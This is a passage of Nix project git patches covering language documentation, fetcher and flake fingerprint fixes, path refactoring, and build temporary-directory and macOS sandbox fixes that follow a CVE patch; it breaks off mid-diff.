[pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation. - - Paths can be used in [string interpolation] and string concatenation. - For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. - - Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. - For example, assume you used a file path in an interpolated string during a `nix repl` session. - Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed. - - [store path]: @docroot@/store/store-path.md - - Path literals can also include [string interpolation], besides being [interpolated into other expressions]. - - [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions - - At least one slash (`/`) must appear *before* any interpolated expression for the result to be recognized as a path. - - `a.${foo}/b.${bar}` is a syntactically valid number division operation. - `./a.${foo}/b.${bar}` is a path. - - [Lookup path](./constructs/lookup-path.md) literals such as `` also resolve to path values. - -- Boolean - - *Booleans* with values `true` and `false`. - -- Null - - The null value, denoted as `null`. - -## List - -Lists are formed by enclosing a whitespace-separated list of values -between square brackets. For example, - -```nix -[ 123 ./foo.nix "abc" (f { x = y; }) ] -``` - -defines a list of four elements, the last being the result of a call to -the function `f`. Note that function calls have to be enclosed in -parentheses. If they had been omitted, e.g., - -```nix -[ 123 ./foo.nix "abc" f { x = y; } ] -``` - -the result would be a list of five elements, the fourth one being a -function and the fifth being a set. - -Note that lists are only lazy in values, and they are strict in length. - -Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt). - -## Attribute Set - -An attribute set is a collection of name-value-pairs (called *attributes*) enclosed in curly brackets (`{ }`). - -An attribute name can be an identifier or a [string](#string). -An identifier must start with a letter (`a-z`, `A-Z`) or underscore (`_`), and can otherwise contain letters (`a-z`, `A-Z`), numbers (`0-9`), underscores (`_`), apostrophes (`'`), or dashes (`-`). - -> **Syntax** -> -> *name* = *identifier* | *string* \ -> *identifier* ~ `[a-zA-Z_][a-zA-Z0-9_'-]*` - -Names and values are separated by an equal sign (`=`). -Each value is an arbitrary expression terminated by a semicolon (`;`). - -> **Syntax** -> -> *attrset* = `{` [ *name* `=` *expr* `;` ]... `}` - -Attributes can appear in any order. -An attribute name may only occur once. - -Example: - -```nix -{ - x = 123; - text = "Hello"; - y = f { bla = 456; }; -} -``` - -This defines a set with attributes named `x`, `text`, `y`. - -Attributes can be accessed with the [`.` operator](./operators.md#attribute-selection). - -Example: - -```nix -{ a = "Foo"; b = "Bar"; }.a -``` - -This evaluates to `"Foo"`. - -It is possible to provide a default value in an attribute selection using the `or` keyword. - -Example: - -```nix -{ a = "Foo"; b = "Bar"; }.c or "Xyzzy" -``` - -```nix -{ a = "Foo"; b = "Bar"; }.c.d.e.f.g or "Xyzzy" -``` - -will both evaluate to `"Xyzzy"` because there is no `c` attribute in the set. - -You can use arbitrary double-quoted strings as attribute names: - -```nix -{ "$!@#?" = 123; }."$!@#?" -``` - -```nix -let bar = "bar"; in -{ "foo ${bar}" = 123; }."foo ${bar}" -``` - -Both will evaluate to `123`. - -Attribute names support [string interpolation]: - -```nix -let bar = "foo"; in -{ foo = 123; }.${bar} -``` - -```nix -let bar = "foo"; in -{ ${bar} = 123; }.foo -``` - -Both will evaluate to `123`. - -In the special case where an attribute name inside of a set declaration -evaluates to `null` (which is normally an error, as `null` cannot be coerced to -a string), that attribute is simply not added to the set: - -```nix -{ ${if foo then "bar" else null} = true; } -``` - -This will evaluate to `{}` if `foo` evaluates to `false`. - -A set that has a `__functor` attribute whose value is callable (i.e. is -itself a function or a set with a `__functor` attribute whose value is -callable) can be applied as if it were a function, with the set itself -passed in first , e.g., - -```nix -let add = { __functor = self: x: x + self.x; }; - inc = add // { x = 1; }; -in inc 1 -``` - -evaluates to `2`. This can be used to attach metadata to a function -without the caller needing to treat it specially, or to implement a form -of object-oriented programming, for example. diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 393fed532..01546f9a0 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -74,7 +74,7 @@ MixEvalArgs::MixEvalArgs() .description = R"( Add *path* to the Nix search path. The Nix search path is initialized from the colon-separated [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH) environment - variable, and is used to look up the location of Nix expressions using [paths](@docroot@/language/values.md#type-path) enclosed in angle + variable, and is used to look up the location of Nix expressions using [paths](@docroot@/language/types.md#type-path) enclosed in angle brackets (i.e., ``). For instance, passing diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 08f719f0f..7a946bdaa 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -732,11 +732,12 @@ static RegisterPrimOp primop_genericClosure(PrimOp { Each attribute set in the list `startSet` and the list returned by `operator` must have an attribute `key`, which must support equality comparison. The value of `key` can be one of the following types: - - [Number](@docroot@/language/values.md#type-number) - - [Boolean](@docroot@/language/values.md#type-boolean) - - [String](@docroot@/language/values.md#type-string) - - [Path](@docroot@/language/values.md#type-path) - - [List](@docroot@/language/values.md#list) + - [Int](@docroot@/language/types.md#type-int) + - [Float](@docroot@/language/types.md#type-float) + - [Boolean](@docroot@/language/types.md#type-boolean) + - [String](@docroot@/language/types.md#type-string) + - [Path](@docroot@/language/types.md#type-path) + - [List](@docroot@/language/types.md#list) The result is produced by calling the `operator` on each `item` that has not been called yet, including newly added items, until no new items are added. Items are compared by their `key` attribute. @@ -1709,7 +1710,7 @@ static RegisterPrimOp primop_baseNameOf({ .name = "baseNameOf", .args = {"x"}, .doc = R"( - Return the *base name* of either a [path value](@docroot@/language/values.md#type-path) *x* or a string *x*, depending on which type is passed, and according to the following rules. + Return the *base name* of either a [path value](@docroot@/language/types.md#type-path) *x* or a string *x*, depending on which type is passed, and according to the following rules. For a path value, the *base name* is considered to be the part of the path after the last directory separator, including any file extensions. This is the simple case, as path values don't have trailing slashes. @@ -1843,7 +1844,7 @@ static RegisterPrimOp primop_findFile(PrimOp { .doc = R"( Find *lookup-path* in *search-path*. - A search path is represented list of [attribute sets](./values.md#attribute-set) with two attributes: + A search path is represented list of [attribute sets](./types.md#attribute-set) with two attributes: - `prefix` is a relative path. - `path` denotes a file system location The exact syntax depends on the command line interface. @@ -1864,7 +1865,7 @@ static RegisterPrimOp primop_findFile(PrimOp { } ``` - The lookup algorithm checks each entry until a match is found, returning a [path value](@docroot@/language/values.html#type-path) of the match: + The lookup algorithm checks each entry until a match is found, returning a [path value](@docroot@/language/types.md#type-path) of the match: - If *lookup-path* matches `prefix`, then the remainder of *lookup-path* (the "suffix") is searched for within the directory denoted by `path`. Note that the `path` may need to be downloaded at this point to look inside. @@ -2292,7 +2293,7 @@ static RegisterPrimOp primop_toFile({ ``` Note that `${configFile}` is a - [string interpolation](@docroot@/language/values.md#type-string), so the result of the + [string interpolation](@docroot@/language/types.md#type-string), so the result of the expression `configFile` (i.e., a path like `/nix/store/m7p7jfny445k...-foo.conf`) will be spliced into the resulting string. @@ -4538,7 +4539,7 @@ void EvalState::createBaseEnv() It can be returned by [comparison operators](@docroot@/language/operators.md#Comparison) and used in - [conditional expressions](@docroot@/language/constructs.md#Conditionals). + [conditional expressions](@docroot@/language/syntax.md#Conditionals). The name `true` is not special, and can be shadowed: @@ -4558,7 +4559,7 @@ void EvalState::createBaseEnv() It can be returned by [comparison operators](@docroot@/language/operators.md#Comparison) and used in - [conditional expressions](@docroot@/language/constructs.md#Conditionals). + [conditional expressions](@docroot@/language/syntax.md#Conditionals). The name `false` is not special, and can be shadowed: From 2cf24a2df0f07479be57afe2391da2ae3d25be10 Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Wed, 3 Jul 2024 17:34:02 +0530 Subject: [PATCH 0976/1251] fix tests and minor changes - use the iterator in `CanonPath` to count `level` - use the `CanonPath::basename` method - use `CanonPath::root` instead of `CanonPath{""}` - remove `Path` and `PathView`, use `std::filesystem::path` directly --- src/libstore/nar-accessor.cc | 6 ++++-- src/libutil/archive.cc | 4 ++-- src/libutil/archive.hh | 2 +- src/libutil/file-system.cc | 2 +- src/libutil/fs-sink.cc | 12 +++++++++--- src/libutil/git.cc | 2 +- tests/unit/libutil/git.cc | 6 +++--- 7 files changed, 21 insertions(+), 13 deletions(-) diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc index 33dde48e5..b1079b027 100644 --- a/src/libstore/nar-accessor.cc +++ b/src/libstore/nar-accessor.cc @@ -73,7 +73,9 @@ struct NarAccessor : public SourceAccessor NarMember & createMember(const CanonPath & path, NarMember member) { - size_t level = std::count(path.rel().begin(), path.rel().end(), '/'); + size_t level = 0; + for (auto _ : path) ++level; + while (parents.size() > level) parents.pop(); if (parents.empty()) { @@ -83,7 +85,7 @@ struct NarAccessor : public SourceAccessor } else { if (parents.top()->stat.type != Type::tDirectory) throw Error("NAR file missing parent directory of path '%s'", path); - auto result = parents.top()->children.emplace(baseNameOf(path.rel()), std::move(member)); + auto result = parents.top()->children.emplace(*path.baseName(), std::move(member)); auto & ref = result.first->second; parents.push(&ref); return ref; diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc index 3693a1ffd..e2ebcda0c 100644 --- a/src/libutil/archive.cc +++ b/src/libutil/archive.cc @@ -290,11 +290,11 @@ void parseDump(FileSystemObjectSink & sink, Source & source) } if (version != narVersionMagic1) throw badArchive("input doesn't look like a Nix archive"); - parse(sink, source, CanonPath{""}); + parse(sink, source, CanonPath::root); } -void restorePath(const Path & path, Source & source) +void restorePath(const std::filesystem::path & path, Source & source) { RestoreSink sink; sink.dstPath = path; diff --git a/src/libutil/archive.hh b/src/libutil/archive.hh index bd70072ce..2da8f0cb1 100644 --- a/src/libutil/archive.hh +++ b/src/libutil/archive.hh @@ -75,7 +75,7 @@ void dumpString(std::string_view s, Sink & sink); void parseDump(FileSystemObjectSink & sink, Source & source); -void restorePath(const Path & path, Source & source); +void restorePath(const std::filesystem::path & path, Source & source); /** * Read a NAR from 'source' and write it to 'sink'. diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 9307a0b53..f75851bbd 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -127,7 +127,7 @@ Path dirOf(const PathView path) } -std::string_view baseNameOf(PathView path) +std::string_view baseNameOf(std::string_view path) { if (path.empty()) return ""; diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index b4900cf8b..597272ec9 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -84,8 +84,12 @@ struct RestoreRegularFile : CreateRegularFileSink { void RestoreSink::createRegularFile(const CanonPath & path, std::function func) { - std::cout << "SCREAM!!!====== " << dstPath / path.rel() << std::endl; - std::filesystem::path p = dstPath / path.rel(); + auto p = dstPath; + + if (!path.rel().empty()) { + p = p / path.rel(); + } + RestoreRegularFile crf; crf.fd = #ifdef _WIN32 @@ -136,7 +140,9 @@ void RestoreRegularFile::operator () (std::string_view data) void RestoreSink::createSymlink(const CanonPath & path, const std::string & target) { - std::filesystem::path p = dstPath / path.rel(); + auto p = dstPath; + if (!path.rel().empty()) + p = dstPath / path.rel(); nix::createSymlink(target, p); } diff --git a/src/libutil/git.cc b/src/libutil/git.cc index f23df566a..a6968a43e 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -208,7 +208,7 @@ std::optional convertMode(SourceAccessor::Type type) void restore(FileSystemObjectSink & sink, Source & source, std::function hook) { - parse(sink, CanonPath{""}, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) { + parse(sink, CanonPath::root, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) { auto [accessor, from] = hook(entry.hash); auto stat = accessor->lstat(from); auto gotOpt = convertMode(stat.type); diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc index 9454bb675..a0125d023 100644 --- a/tests/unit/libutil/git.cc +++ b/tests/unit/libutil/git.cc @@ -67,7 +67,7 @@ TEST_F(GitTest, blob_read) { StringSink out; RegularFileSink out2 { out }; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob); - parseBlob(out2, CanonPath{""}, in, BlobMode::Regular, mockXpSettings); + parseBlob(out2, CanonPath::root, in, BlobMode::Regular, mockXpSettings); auto expected = readFile(goldenMaster("hello-world.bin")); @@ -132,7 +132,7 @@ TEST_F(GitTest, tree_read) { NullFileSystemObjectSink out; Tree got; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Tree); - parseTree(out, CanonPath{""}, in, [&](auto & name, auto entry) { + parseTree(out, CanonPath::root, in, [&](auto & name, auto entry) { auto name2 = std::string{name.rel()}; if (entry.mode == Mode::Directory) name2 += '/'; @@ -227,7 +227,7 @@ TEST_F(GitTest, both_roundrip) { mockXpSettings); }; - mkSinkHook(CanonPath{""}, root.hash, BlobMode::Regular); + mkSinkHook(CanonPath::root, root.hash, BlobMode::Regular); ASSERT_EQ(*files, *files2); } From 79ed3df8f84adf87b1db708d431e768b8fcc4c05 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 3 Jul 2024 14:14:20 +0200 Subject: [PATCH 0977/1251] Tarball fetcher: Fix handling of cached tarballs Fixes a regression introduced in 5a9e1c0d20e2332c79fb0fd7570315a5d93041f2 where downloading a cached file causes the error "Failed to open archive (Unrecognized archive format)". --- src/libutil/tarfile.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index f0e24e937..445968b57 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -81,6 +81,7 @@ TarArchive::TarArchive(Source & source, bool raw, std::optional com if (!raw) { archive_read_support_format_tar(archive); archive_read_support_format_zip(archive); + archive_read_support_format_empty(archive); } else { archive_read_support_format_raw(archive); archive_read_support_format_empty(archive); @@ -99,6 +100,7 @@ TarArchive::TarArchive(const Path & path) archive_read_support_filter_all(archive); archive_read_support_format_tar(archive); archive_read_support_format_zip(archive); + archive_read_support_format_empty(archive); archive_read_set_option(archive, NULL, "mac-ext", NULL); check(archive_read_open_filename(archive, path.c_str(), 16384), "failed to open archive: %s"); } From 8bdd0ecd80cbe85a03abb3d8eaf67bc771e64703 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 3 Jul 2024 15:52:49 +0200 Subject: [PATCH 0978/1251] Add a test --- tests/nixos/tarball-flakes.nix | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix index 2e7f98b5e..e20b853f7 100644 --- a/tests/nixos/tarball-flakes.nix +++ b/tests/nixos/tarball-flakes.nix @@ -74,8 +74,10 @@ in assert info["revision"] == "${nixpkgs.rev}" assert info["revCount"] == 1234 - # Check that fetching with rev/revCount/narHash succeeds. + # Check that a 0-byte cached (304) result works. + machine.succeed("nix flake metadata --refresh --json http://localhost/tags/latest.tar.gz") + # Check that fetching with rev/revCount/narHash succeeds. machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=" + info["revision"]) machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=" + str(info["revCount"])) machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=" + info["locked"]["narHash"]) From 9d95c228eeb2750d37f86228905d11eea5fb1e05 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 3 Jul 2024 16:28:24 +0200 Subject: [PATCH 0979/1251] Tarball fetcher: Fix fetchToStore() and eval caching --- src/libfetchers/fetchers.cc | 1 + src/libfetchers/tarball.cc | 10 ++++++++++ 2 files changed, 11 insertions(+) diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 170a8910c..087880ebe 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -260,6 +260,7 @@ std::pair, Input> Input::getAccessorUnchecked(ref sto auto [accessor, final] = scheme->getAccessor(store, *this); + assert(!accessor->fingerprint); accessor->fingerprint = scheme->getFingerprint(store, final); return {accessor, std::move(final)}; diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index 5de367052..aa8ff652f 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -365,6 +365,16 @@ struct TarballInputScheme : CurlInputScheme return {result.accessor, input}; } + + std::optional getFingerprint(ref store, const Input & input) const override + { + if (auto narHash = input.getNarHash()) + return narHash->to_string(HashFormat::SRI, true); + else if (auto rev = input.getRev()) + return rev->gitRev(); + else + return std::nullopt; + } }; static auto rTarballInputScheme = OnStartup([] { registerInputScheme(std::make_unique()); }); From 1ff186fc6e99e57501fee9291e7013ea88d8720a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 3 Jul 2024 16:37:26 +0200 Subject: [PATCH 0980/1251] nix flake metadata: Show flake fingerprint This is useful for testing/debugging and maybe for sharing eval caches (since it tells you what file in ~/.cache/nix/eval-cache-v5 to copy). --- src/nix/flake.cc | 6 ++++++ tests/functional/flakes/flakes.sh | 1 + tests/nixos/tarball-flakes.nix | 3 +++ 3 files changed, 10 insertions(+) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index fb7ea6211..84c659023 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -233,6 +233,8 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON j["lastModified"] = *lastModified; j["path"] = storePath; j["locks"] = lockedFlake.lockFile.toJSON().first; + if (auto fingerprint = lockedFlake.getFingerprint(store)) + j["fingerprint"] = fingerprint->to_string(HashFormat::Base16, false); logger->cout("%s", j.dump()); } else { logger->cout( @@ -265,6 +267,10 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON logger->cout( ANSI_BOLD "Last modified:" ANSI_NORMAL " %s", std::put_time(std::localtime(&*lastModified), "%F %T")); + if (auto fingerprint = lockedFlake.getFingerprint(store)) + logger->cout( + ANSI_BOLD "Fingerprint:" ANSI_NORMAL " %s", + fingerprint->to_string(HashFormat::Base16, false)); if (!lockedFlake.lockFile.root->inputs.empty()) logger->cout(ANSI_BOLD "Inputs:" ANSI_NORMAL); diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index c3cb2c661..26b91eda7 100755 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -195,6 +195,7 @@ json=$(nix flake metadata flake1 --json | jq .) [[ -d $(echo "$json" | jq -r .path) ]] [[ $(echo "$json" | jq -r .lastModified) = $(git -C "$flake1Dir" log -n1 --format=%ct) ]] hash1=$(echo "$json" | jq -r .revision) +[[ -n $(echo "$json" | jq -r .fingerprint) ]] echo foo > "$flake1Dir/foo" git -C "$flake1Dir" add $flake1Dir/foo diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix index 2e7f98b5e..bc0ddc3f6 100644 --- a/tests/nixos/tarball-flakes.nix +++ b/tests/nixos/tarball-flakes.nix @@ -70,6 +70,9 @@ in # Check that we got redirected to the immutable URL. assert info["locked"]["url"] == "http://localhost/stable/${nixpkgs.rev}.tar.gz" + # Check that we got a fingerprint for caching. + assert info["fingerprint"] + # Check that we got the rev and revCount attributes. assert info["revision"] == "${nixpkgs.rev}" assert info["revCount"] == 1234 From a09360400bc0f43e865273ba1ccb2b513d8a962e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 3 Jul 2024 11:15:56 -0400 Subject: [PATCH 0981/1251] Ident some CPP in nix daemon Makes it easier for me to read. --- src/nix/unix/daemon.cc | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc index 41ea1f5a4..c7be77067 100644 --- a/src/nix/unix/daemon.cc +++ b/src/nix/unix/daemon.cc @@ -211,9 +211,9 @@ static PeerInfo getPeerInfo(int remote) #elif defined(LOCAL_PEERCRED) -#if !defined(SOL_LOCAL) -#define SOL_LOCAL 0 -#endif +# if !defined(SOL_LOCAL) +# define SOL_LOCAL 0 +# endif xucred cred; socklen_t credLen = sizeof(cred); From 10ccdb7a415aec754dc7f834c5f9944c13241473 Mon Sep 17 00:00:00 2001 From: kn Date: Sat, 11 Mar 2023 19:43:04 +0000 Subject: [PATCH 0982/1251] Use proper struct sockpeercred for SO_PEERCRED for OpenBSD getsockopt(2) documents this; ucred is wrong ("cr_" member prefix, no pid). --- src/nix/unix/daemon.cc | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc index c7be77067..4a7997b1f 100644 --- a/src/nix/unix/daemon.cc +++ b/src/nix/unix/daemon.cc @@ -203,7 +203,11 @@ static PeerInfo getPeerInfo(int remote) #if defined(SO_PEERCRED) - ucred cred; +# if defined(__OpenBSD__) + struct sockpeercred cred; +# else + ucred cred; +# endif socklen_t credLen = sizeof(cred); if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1) throw SysError("getting peer credentials"); From 5b4102c3b25350872d8fefffac3547a63863f0c1 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 3 Jul 2024 21:54:54 +0200 Subject: [PATCH 0983/1251] Tarball fetcher: Include revCount/lastModified in the fingerprint This can influence the evaluation result so they should be included in the fingerprint. --- src/libfetchers/fetchers.cc | 2 +- src/libflake/flake/flake.cc | 12 +++++++++++- 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 087880ebe..294960678 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -419,7 +419,7 @@ namespace nlohmann { using namespace nix; fetchers::PublicKey adl_serializer::from_json(const json & json) { - fetchers::PublicKey res = { }; + fetchers::PublicKey res = { }; if (auto type = optionalValueAt(json, "type")) res.type = getString(*type); diff --git a/src/libflake/flake/flake.cc b/src/libflake/flake/flake.cc index 93d528d61..6f47b5992 100644 --- a/src/libflake/flake/flake.cc +++ b/src/libflake/flake/flake.cc @@ -950,10 +950,20 @@ std::optional LockedFlake::getFingerprint(ref store) const auto fingerprint = flake.lockedRef.input.getFingerprint(store); if (!fingerprint) return std::nullopt; + *fingerprint += fmt(";%s;%s", flake.lockedRef.subdir, lockFile); + + /* Include revCount and lastModified because they're not + necessarily implied by the content fingerprint (e.g. for + tarball flakes) but can influence the evaluation result. */ + if (auto revCount = flake.lockedRef.input.getRevCount()) + *fingerprint += fmt(";revCount=%d", *revCount); + if (auto lastModified = flake.lockedRef.input.getLastModified()) + *fingerprint += fmt(";lastModified=%d", *lastModified); + // FIXME: as an optimization, if the flake contains a lock file // and we haven't changed it, then it's sufficient to use // flake.sourceInfo.storePath for the fingerprint. - return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%s", *fingerprint, flake.lockedRef.subdir, lockFile)); + return hashString(HashAlgorithm::SHA256, *fingerprint); } Flake::~Flake() { } From 976c05879f48e73eabe6818231da4bc7886c6c8c Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Thu, 4 Jul 2024 11:09:23 +0530 Subject: [PATCH 0984/1251] factor duplicate code into util function `append` --- src/libutil/fs-sink.cc | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index 597272ec9..194e86fdd 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -82,13 +82,17 @@ struct RestoreRegularFile : CreateRegularFileSink { void preallocateContents(uint64_t size) override; }; +static std::filesystem::path append(const std::filesystem::path & src, const CanonPath & path) +{ + auto dst = src; + if (!path.rel().empty()) + dst /= path.rel(); + return dst; +} + void RestoreSink::createRegularFile(const CanonPath & path, std::function func) { - auto p = dstPath; - - if (!path.rel().empty()) { - p = p / path.rel(); - } + auto p = append(dstPath, path); RestoreRegularFile crf; crf.fd = @@ -140,9 +144,7 @@ void RestoreRegularFile::operator () (std::string_view data) void RestoreSink::createSymlink(const CanonPath & path, const std::string & target) { - auto p = dstPath; - if (!path.rel().empty()) - p = dstPath / path.rel(); + auto p = append(dstPath, path); nix::createSymlink(target, p); } From c66079f1e875b8d7c75abc9b553c8b02d2746216 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 4 Jul 2024 10:36:48 +0200 Subject: [PATCH 0985/1251] use self-descriptive name for config file parser, document Co-authored-by: Robert Hensing --- src/libutil/config.cc | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 192a4ecb9..907ca7fc1 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -91,7 +91,14 @@ void Config::getSettings(std::map & res, bool overridd } -static void applyConfigInner(const std::string & contents, const std::string & path, std::vector> & parsedContents) { +/** + * Parse configuration in `contents`, and also the configuration files included from there, with their location specified relative to `path`. + * + * `contents` and `path` represent the file that is being parsed. + * The result is only an intermediate list of key-value pairs of strings. + * More parsing according to the settings-specific semantics is being done by `loadConfFile` in `libstore/globals.cc`. +*/ +static void parseConfigFiles(const std::string & contents, const std::string & path, std::vector> & parsedContents) { unsigned int pos = 0; while (pos < contents.size()) { @@ -125,7 +132,7 @@ static void applyConfigInner(const std::string & contents, const std::string & p if (pathExists(p)) { try { std::string includedContents = readFile(p); - applyConfigInner(includedContents, p, parsedContents); + parseConfigFiles(includedContents, p, parsedContents); } catch (SystemError &) { // TODO: Do we actually want to ignore this? Or is it better to fail? } @@ -153,7 +160,7 @@ static void applyConfigInner(const std::string & contents, const std::string & p void AbstractConfig::applyConfig(const std::string & contents, const std::string & path) { std::vector> parsedContents; - applyConfigInner(contents, path, parsedContents); + parseConfigFiles(contents, path, parsedContents); // First apply experimental-feature related settings for (const auto & [name, value] : parsedContents) From 76e4adfaac3083056e79b518ccc197a7645a0f2d Mon Sep 17 00:00:00 2001 From: Emily Date: Thu, 4 Jul 2024 16:19:51 +0100 Subject: [PATCH 0986/1251] libstore: clean up the build directory properly MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit After the fix for CVE-2024-38531, this was only removing the nested build directory, rather than the top‐level temporary directory. Fixes: 1d3696f0fb88d610abc234a60e0d6d424feafdf1 --- src/libstore/unix/build/local-derivation-goal.cc | 9 +++++---- src/libstore/unix/build/local-derivation-goal.hh | 8 +++++++- 2 files changed, 12 insertions(+), 5 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index a20ed5300..b20bd2d8c 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -503,12 +503,12 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ - tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); + topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); if (useChroot) { /* If sandboxing is enabled, put the actual TMPDIR underneath an inaccessible root-owned directory, to prevent outside access. */ - tmpDir = tmpDir + "/build"; + tmpDir = topTmpDir + "/build"; createDir(tmpDir, 0700); } chownToBuilder(tmpDir); @@ -2980,7 +2980,7 @@ void LocalDerivationGoal::checkOutputs(const std::mapisBuiltin()) { @@ -2988,7 +2988,8 @@ void LocalDerivationGoal::deleteTmpDir(bool force) chmod(tmpDir.c_str(), 0755); } else - deletePath(tmpDir); + deletePath(topTmpDir); + topTmpDir = ""; tmpDir = ""; } } diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh index 77d07de98..4bcf5c9d4 100644 --- a/src/libstore/unix/build/local-derivation-goal.hh +++ b/src/libstore/unix/build/local-derivation-goal.hh @@ -27,10 +27,16 @@ struct LocalDerivationGoal : public DerivationGoal std::optional cgroup; /** - * The temporary directory. + * The temporary directory used for the build. */ Path tmpDir; + /** + * The top-level temporary directory. `tmpDir` is either equal to + * or a child of this directory. + */ + Path topTmpDir; + /** * The path of the temporary directory in the sandbox. */ From af2e1142b17dadf24a0b66d8973033dce6efa32b Mon Sep 17 00:00:00 2001 From: Emily Date: Thu, 4 Jul 2024 16:24:59 +0100 Subject: [PATCH 0987/1251] libstore: fix sandboxed builds on macOS MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The recent fix for CVE-2024-38531 broke the sandbox on macOS completely. As it’s not practical to use `chroot(2)` on macOS, the build takes place in the main filesystem tree, and the world‐unreadable wrapper directory prevents the build from accessing its `$TMPDIR` at all. The macOS sandbox probably shouldn’t be treated as any kind of a security boundary in its current state, but this specific vulnerability wasn’t possible to exploit on macOS anyway, as creating `set{u,g}id` binaries is blocked by sandbox policy. Locking down the build sandbox further may be a good idea in future, but it already has significant compatibility issues. For now, restore the previous status quo on macOS. Thanks to @alois31 for helping me come to a better understanding of the vulnerability. Fixes: 1d3696f0fb88d610abc234a60e0d6d424feafdf1 Closes: #11002 --- src/libstore/unix/build/local-derivation-goal.cc | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index b20bd2d8c..d5a3e0034 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -504,12 +504,22 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); +#if 